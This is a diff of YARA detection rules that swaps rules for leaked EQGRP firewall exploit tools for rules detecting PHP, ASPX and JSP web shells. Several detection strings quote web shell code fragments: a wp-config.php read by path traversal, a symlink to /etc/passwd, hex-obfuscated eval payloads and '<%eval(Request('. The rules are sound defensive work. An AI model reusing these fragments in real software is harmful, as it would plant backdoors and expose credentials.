+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "68f0de84a387a9af1a32dd8d38c66b002e16e1c954a51e6bc307580180faedbf"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ee266f84a1a4ccf2e789a73b0a11242223ed6eba6868875b5922aea931a2199c"
+		hash1 = "506a6ab6c49e904b4adc1f969c91e4f1a7dde164be549c6440e766de36c93215"
 
 	strings:
-		$s1 = "cd /current/bin/FW/BANANAGLEE/$bgver/Install/LP/jetplow" fullword ascii
-		$s2 = "***** Please place your UA in /current/bin/FW/OPS *****" fullword ascii
-		$s3 = "ln -s ../jp/orig_code.bin orig_code_pixGen.bin" fullword ascii
-		$s4 = "*****             Welcome to JetPlow              *****" fullword ascii
+		$s2 = "$lol = file_get_contents(\"../../../../../wp-config.php\");" fullword ascii
+		$s6 = "@unlink(\"./export-check-settings.php\");" fullword ascii
+		$s7 = "$xos = \"Safe-mode:[Safe-mode:\".$hsafemode.\"] " fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x3f3c and filesize <6KB and ( all of ($s*))) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_BBANJO : FILE
+rule SIGNATURE_BASE_Dkshell_F0772Be3C95802A2D1E7A4A3F5A45Dcdef6997F3 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file BBANJO-3011.exe"
+		description = "Detects a web shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "81af4769-7007-51f1-9569-bc370618b4ff"
-		date = "2016-08-16"
+		id = "161ceca6-f5e8-5bcf-bc31-2a2169b1a1c7"
+		date = "2016-09-10"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L668-L687"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8ee2e817732674bf7ff5f396271a2a90da8f401d7ea0f0a3f51c21712adb3ea4"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9524-L9538"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "81b0a08d1b9d3640e656a5cd08b79c0a2f940a2db5c2d939d19509f993514e86"
 		score = 75
-		quality = 83
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f09c2f90464781a08436321f6549d350ecef3d92b4f25b95518760f5d4c9b2c3"
+		hash1 = "7ea49d5c29f1242f81f2393b514798ff7caccb50d46c60bdfcf61db00043473b"
 
 	strings:
-		$s1 = "get_lsl_interfaces" fullword ascii
-		$s2 = "encryptFC4Payload" fullword ascii
-		$s3 = ".got_loader" fullword ascii
-		$s4 = "beacon_getconfig" fullword ascii
-		$s5 = "LOADED" fullword ascii
-		$s6 = "FormBeaconPacket" fullword ascii
-		$s7 = "beacon_reconfigure" fullword ascii
+		$s1 = "<?php Error_Reporting(0); $s_pass = \"" ascii
+		$s2 = "$s_func=\"cr\".\"eat\".\"e_fun\".\"cti\".\"on" ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <50KB and all of them )
+		( uint16(0)==0x3c0a and filesize <300KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_BPATROL_2201 : FILE
+rule SIGNATURE_BASE_Unknown_8Af033424F9590A15472A23Cc3236E68070B952E : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file BPATROL-2201.exe"
+		description = "Detects a web shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "864a346c-e8aa-5c66-9867-faccb14b8bee"
-		date = "2016-08-16"
+		id = "fcf467b6-f49a-52d0-a57f-9f3cf6d0b25b"
+		date = "2016-09-10"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L689-L706"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a2e9aa4627924c99dd3a342174855df3f0d545a67fd2293ca5601eeae70ae010"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9540-L9555"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d7dc9a2a5e0800b5061cb2101d7cda023a6e637f1e7b14054fdb6a0b2cec6084"
 		score = 75
-		quality = 83
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "aa892750b893033eed2fedb2f4d872f79421174eb217f0c34a933c424ae66395"
+		hash1 = "3382b5eaaa9ad651ab4793e807032650667f9d64356676a16ae3e9b02740ccf3"
 
 	strings:
-		$s1 = "dumpConfig" fullword ascii
-		$s2 = "getstatusHandler" fullword ascii
-		$s3 = ".got_loader" fullword ascii
-		$s4 = "xtractdata" fullword ascii
-		$s5 = "KEEPGOING" fullword ascii
+		$s1 = "$check = $_SERVER['DOCUMENT_ROOT']" fullword ascii
+		$s2 = "$fp=fopen(\"$check\",\"w+\");" fullword ascii
+		$s3 = "fwrite($fp,base64_decode('" ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <40KB and all of them )
+		( uint16(0)==0x6324 and filesize <6KB and ( all of ($s*))) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Extrabacon
+rule SIGNATURE_BASE_Dkshell_4000Bd83451F0D8501A9Dfad60Dce39E55Ae167D : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file extrabacon_1.1.0.1.py"
+		description = "Detects a web shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "79b998ef-e548-5038-b8ad-da1abf362e7f"
-		date = "2016-08-16"
+		id = "804f7229-1440-5a2e-91cd-a58a38b22aa9"
+		date = "2016-09-10"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L708-L725"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1a010d5e6324715f8e1bf29e957c365fabd2986fece53aaea23bba8ee59bd808"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9557-L9575"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "26d586e32d1b0b7800b4b61f592dadc3dd0583628e4cd3fa4e24e02067077da5"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "59d60835fe200515ece36a6e87e642ee8059a40cb04ba5f4b9cce7374a3e7735"
+		hash1 = "51a16b09520a3e063adf10ff5192015729a5de1add8341a43da5326e626315bd"
 
 	strings:
-		$x1 = "To disable password checking on target:" fullword ascii
-		$x2 = "[-] target is running" fullword ascii
-		$x3 = "[-] problem importing version-specific shellcode from" fullword ascii
-		$x4 = "[+] importing version-specific shellcode" fullword ascii
-		$s5 = "[-] unsupported target version, abort" fullword ascii
+		$x1 = "DK Shell - Took the Best made it Better..!!" fullword ascii
+		$x2 = "preg_replace(\"/.*/e\",\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\x73\\x65\\x36\\x" ascii
+		$x3 = "echo '<b>Sw Bilgi<br><br>'.php_uname().'<br></b>';" fullword ascii
+		$s1 = "echo '<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">';" fullword ascii
+		$s9 = "$x = $_GET[\"x\"];" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x3f3c and filesize <200KB and 1 of ($x*)) or (3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Sploit_Py
+rule SIGNATURE_BASE_Webshell_5786D7D9F4B0Df731D79Ed927Fb5A124195Fc901 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file sploit.py"
+		description = "Detects a web shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9f403965-5fb1-55b2-bef6-65c18e08e58f"
-		date = "2016-08-16"
+		id = "7958e5fc-5ac5-58bc-8128-0a778e99a4e4"
+		date = "2016-09-10"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L727-L742"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "874eaffcbc191951db39ba6c85e8c80b83b0df8d33136b6cdcdefcb28e596474"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9577-L9591"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "348ccdf997965fbea791d835f1dd4e2c16d37a17ff4195e585fa4226f18faad6"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0316d70a5bbf068a7fc791e08e816015d04ec98f088a7ff42af8b9e769b8d1f6"
+		hash1 = "b1733cbb0eb3d440c4174cc67ca693ba92308ded5fc1069ed650c3c78b1da4bc"
 
 	strings:
-		$x1 = "the --spoof option requires 3 or 4 fields as follows redir_ip" ascii
-		$x2 = "[-] timeout waiting for response - target may have crashed" fullword ascii
-		$x3 = "[-] no response from health check - target may have crashed" fullword ascii
+		$s1 = "preg_replace(\"\\x2F\\x2E\\x2A\\x2F\\x65\",\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x" ascii
+		$s2 = "input[type=text], input[type=password]{" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x6c3c and filesize <80KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Uninstallpbd
+rule SIGNATURE_BASE_Webshell_E8Eaf8Da94012E866E51547Cd63Bb996379690Bf : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file uninstallPBD.bat"
+		description = "Detects a web shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0153cb2a-a0de-51f9-80c2-22136d56f16d"
-		date = "2016-08-16"
+		id = "8fda9b9f-9a72-5123-91d7-0d0aec9e17bc"
+		date = "2016-09-10"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L744-L759"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "51be8a491a1e228dfc6156a86e9f2ffc923c39d0649bbc031ea1bafe1af22a45"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9593-L9608"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "044491f0b07ef606aa76e70a07d161565f9cecf73e8f9f8db63cacc1c475b056"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "692fdb449f10057a114cf2963000f52ce118d9a40682194838006c66af159bd0"
+		hash1 = "027544baa10259939780e97dc908bd43f0fb940510119fc4cce0883f3dd88275"
 
 	strings:
-		$s1 = "memset 00e9a05c 4 38845b88" fullword ascii
-		$s2 = "_hidecmd" ascii
-		$s3 = "memset 013abd04 1 0d" fullword ascii
+		$x1 = "@exec('./bypass/ln -s /etc/passwd 1.php');" fullword ascii
+		$x2 = "echo \"<iframe src=mysqldumper/index.php width=100% height=100% frameborder=0></iframe> \";" fullword ascii
+		$x3 = "@exec('tar -xvf mysqldumper.tar.gz');" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x213c and filesize <100KB and 1 of ($x*)) or (2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_BICECREAM : FILE
+rule SIGNATURE_BASE_Unknown_0F06C5D1B32F4994C3B3Abf8Bb76D5468F105167 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file BICECREAM-2140"
+		description = "Detects a web shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a10819ae-db48-5d30-8e2e-2e4fe33e005b"
-		date = "2016-08-16"
+		id = "efd09da2-f232-5a21-99c8-dc2bf00baa73"
+		date = "2016-09-10"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L761-L782"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "adaa6b7d4bf9e6f95fbae781382e72afc07993582473cbee7139a93df0fe3283"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9610-L9625"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6f4bdf8aecd527335c29a8e964c7d8688c3e77419595d3fd10a6cf3704711816"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4842076af9ba49e6dfae21cf39847b4172c06a0bd3d2f1ca6f30622e14b77210"
+		hash1 = "6362372850ac7455fa9461ed0483032a1886543f213a431f81a2ac76d383b47e"
 
 	strings:
-		$s1 = "Could not connect to target device: %s:%d. Please check IP address." fullword ascii
-		$s2 = "command data size is invalid for an exec cmd" fullword ascii
-		$s3 = "A script was specified but target is not a PPC405-based NetScreen (NS5XT, NS25, and NS50). Executing scripts is supported but ma" ascii
-		$s4 = "Execute 0x%08x with args (%08x, %08x, %08x, %08x): [y/n]" fullword ascii
-		$s5 = "Execute 0x%08x with args (%08x, %08x, %08x): [y/n]" fullword ascii
-		$s6 = "[%d] Execute code." fullword ascii
-		$s7 = "Execute 0x%08x with args (%08x): [y/n]" fullword ascii
-		$s8 = "dump_value_LHASH_DOALL_ARG" fullword ascii
-		$s9 = "Eggcode is complete. Pass execution to it? [y/n]" fullword ascii
+		$s1 = "$check = $_SERVER['DOCUMENT_ROOT'] . \"/libraries/lola.php\" ;" fullword ascii
+		$s2 = "$fp=fopen(\"$check\",\"w+\");" fullword ascii
+		$s3 = "fwrite($fp,base64_decode('" ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <5000KB and 2 of them ) or (5 of them )
+		( uint16(0)==0x6324 and filesize <2KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Create_Http_Injection : FILE
+rule SIGNATURE_BASE_Wsoshell_0Bbebaf46F87718Caba581163D4Beed56Ddf73A7 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file create_http_injection.py"
+		description = "Detects a web shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "92b6dad0-c7d8-5522-8fc1-fbd0aae00960"
-		date = "2016-08-16"
+		id = "92165645-5392-588d-ba2a-5ef6b7499a5a"
+		date = "2016-09-10"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L784-L802"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3a2ee46c6fec1b7a501e8c0e2963d4873ede89d192d0f4701d051f782e8ece99"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9627-L9641"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bf5090fb909fea690c8a2af3cca35136eda3b9773976189158c25fb8877cc266"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "de52f5621b4f3896d4bd1fb93ee8be827e71a2b189a9f8552b68baed062a992d"
+		hash1 = "d053086907aed21fbb6019bf9e644d2bae61c63563c4c3b948d755db3e78f395"
 
 	strings:
-		$x1 = "required by SECONDDATE" fullword ascii
-		$s1 = "help='Output file name (optional). By default the resulting data is written to stdout.')" fullword ascii
-		$s2 = "data = '<html><body onload=\"location.reload(true)\"><iframe src=\"%s\" height=\"1\" width=\"1\" scrolling=\"no\" frameborder=\"" ascii
-		$s3 = "version='%prog 1.0'," fullword ascii
-		$s4 = "usage='%prog [ ... options ... ] url'," fullword ascii
+		$s8 = "$default_charset='Wi'.'ndo.'.'ws-12'.'51';" fullword ascii
+		$s9 = "$mosimage_session = \"" fullword ascii
 
 	condition:
-		( uint16(0)==0x2123 and filesize <3KB and ($x1 or 2 of them )) or ( all of them )
+		( uint16(0)==0x3f3c and filesize <300KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_BFLEA_2201 : FILE
+rule SIGNATURE_BASE_Webshell_Generic_1609_A : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file BFLEA-2201.exe"
+		description = "Auto-generated rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7dfdc2a2-73d1-5eba-8936-ed14b17495c5"
-		date = "2016-08-16"
+		id = "4b7db4db-8699-5b4d-ab90-ce79f1160984"
+		date = "2016-09-10"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L804-L823"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d0fd4d0ffe98856abed685c4b9ff770daba22aa16bd860440874fd94df2d54ea"
+		reference = "https://github.com/bartblaze/PHP-backdoors"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9643-L9658"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e5a4bba3a7b1c712203fcc8b85e4089b0ff18a26e96f5a04529616dbfb9de651"
 		score = 75
-		quality = 83
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "15e8c743770e44314496c5f27b6297c5d7a4af09404c4aa507757e0cc8edc79e"
+		super_rule = 1
+		hash1 = "c817a490cfd4d6377c15c9ac9bcfa136f4a45ff5b40c74f15216c030f657d035"
+		hash3 = "69b9d55ea2eb4a0d9cfe3b21b0c112c31ea197d1cb00493d1dddc78b90c5745e"
 
 	strings:
-		$s1 = ".got_loader" fullword ascii
-		$s2 = "LOADED" fullword ascii
-		$s3 = "readFlashHandler" fullword ascii
-		$s4 = "KEEPGOING" fullword ascii
-		$s5 = "flashRtnsPix6x.c" fullword ascii
-		$s6 = "fix_ip_cksum_incr" fullword ascii
-		$s7 = "writeFlashHandler" fullword ascii
+		$s1 = "return $qwery45234dws($b);" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <30KB and 5 of them ) or ( all of them )
+		( uint16(0)==0x3f3c and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Bpfcreator_RHEL4 : FILE
+rule SIGNATURE_BASE_Nishang_Webshell : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file BpfCreator-RHEL4"
+		description = "Detects a ASPX web shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "476185f2-b093-5fb9-8604-891e96fe52a9"
-		date = "2016-08-16"
+		id = "785e6da7-097e-598b-9799-ffe43738d718"
+		date = "2016-09-11"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L825-L842"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8586425b13355170137d66fe8d52ed98982d7c5699b26a8c0132f107b4af43d8"
+		reference = "https://github.com/samratashok/nishang"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9660-L9675"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b8a3c8e80a4e41e556e2d65df4126d84723ded6ca623302afc4cc328bded346c"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "bd7303393409623cabf0fcf2127a0b81fae52fe40a0d2b8db0f9f092902bbd92"
 
 	strings:
-		$s1 = "usage %s \"<tcpdump pcap string>\" <outfile>" fullword ascii
-		$s2 = "error reading dump file: %s" fullword ascii
-		$s3 = "truncated dump file; tried to read %u captured bytes, only got %lu" fullword ascii
-		$s4 = "%s: link-layer type %d isn't supported in savefiles" fullword ascii
-		$s5 = "DLT %d is not one of the DLTs supported by this device" fullword ascii
+		$s1 = "psi.Arguments = \"-noninteractive \" + \"-executionpolicy bypass \" + arg;" ascii
+		$s2 = "output.Text += \"\nPS> \" + console.Text + \"\n\" + do_ps(console.Text);" ascii
+		$s3 = "<title>Antak Webshell</title>" fullword ascii
+		$s4 = "<asp:Button ID=\"executesql\" runat=\"server\" Text=\"Execute SQL Query\"" ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <2000KB and all of them )
+		( uint16(0)==0x253C and filesize <100KB and 1 of ($s*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Storefc
+rule SIGNATURE_BASE_PHP_Webshell_1_Feb17 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file StoreFc.py"
+		description = "Detects a simple cloaked PHP web shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "48bbf5c9-e884-5126-93a2-d27650409882"
-		date = "2016-08-16"
+		id = "eedf87c9-2dab-530d-b5d8-a4c2ebc87821"
+		date = "2017-02-28"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L844-L859"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f07c3ef83808852f70fb5cbc4436d531675344ab74f83888cd70d987c3544cce"
+		reference = "https://isc.sans.edu/diary/Analysis+of+a+Simple+PHP+Backdoor/22127"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9687-L9708"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c8576b20ec3f81b3ef0aa5a508c94e07d591d68767cb4598ad10778b4305915d"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f155cce4eecff8598243a721389046ae2b6ca8ba6cb7b4ac00fd724601a56108"
 
 	strings:
-		$x1 = "Usage: StoreFc.py --configFile=<path to xml file> --implantFile=<path to BinStore implant> [--outputFile=<file to write the conf" ascii
-		$x2 = "raise Exception, \"Must supply both a config file and implant file.\"" fullword ascii
-		$x3 = "This is wrapper for Store.py that FELONYCROWBAR will use. This" fullword ascii
+		$h1 = "<?php ${\"\\x" ascii
+		$x1 = "\";global$auth;function sh_decrypt_phase($data,$key){${\"" ascii
+		$x2 = "global$auth;return sh_decrypt_phase(sh_decrypt_phase($" ascii
+		$x3 = "]}[\"\x64\"]);}}echo " ascii
+		$x4 = "\"=>@phpversion(),\"\\x" ascii
+		$s1 = "$i=Array(\"pv\"=>@phpversion(),\"sv\"" ascii
+		$s3 = "$data = @unserialize(sh_decrypt(@base64_decode($data),$data_key));" ascii
 
 	condition:
-		1 of them
+		uint32(0)==0x68703f3c and ($h1 at 0 and 1 of them ) or 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Hexdump : FILE
+rule SIGNATURE_BASE_Webshell_Tiny_JSP_2 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file hexdump.py"
+		description = "Detects a tiny webshell - chine chopper"
 		author = "Florian Roth (Nextron Systems)"
-		id = "32a7d845-2fa3-5d8f-84e1-2c7f8d2ca8c8"
-		date = "2016-08-16"
+		id = "b628c4f9-eb07-592d-834a-5c94e41987da"
+		date = "2015-12-05"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L861-L877"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ed36aa5a69296088bdd1db42e6561377294b7bd99c30104b9d4a618d899d7e9a"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9710-L9722"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6fd514df9d53293a8cfd4b9c807f993558e39979592aa221f18cd76079c00fb7"
+		score = 100
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "95a9a6a8de60d3215c1c9f82d2d8b2640b42f5cabdc8b50bd1f4be2ea9d7575a"
 
 	strings:
-		$s1 = "def hexdump(x,lead=\"[+] \",out=sys.stdout):" fullword ascii
-		$s2 = "print >>out, \"%s%04x  \" % (lead,i)," fullword ascii
-		$s3 = "print >>out, \"%02X\" % ord(x[i+j])," fullword ascii
-		$s4 = "print >>out, sane(x[i:i+16])" fullword ascii
+		$s1 = "<%eval(Request(" nocase
 
 	condition:
-		( uint16(0)==0x2123 and filesize <1KB and 2 of ($s*)) or ( all of them )
+		uint16(0)==0x253c and filesize <40 and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_BBALL : FILE
+rule SIGNATURE_BASE_Wordpress_Config_Webshell_Preprend : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - file BBALL_E28F6-2201.exe"
+		description = "Webshell that uses standard Wordpress wp-config.php file and appends the malicious code in front of it"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bced11a2-fac4-58e5-a4a8-1c6d5fe418f9"
-		date = "2016-08-16"
+		id = "2a432c53-5dee-5a2e-9ccf-9e5d52713af9"
+		date = "2017-06-25"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L879-L898"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b02d17a13725b5215c89590abf77f960e79f9fd155c9ea4e9eb903710a7a375e"
-		score = 75
-		quality = 83
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9734-L9756"
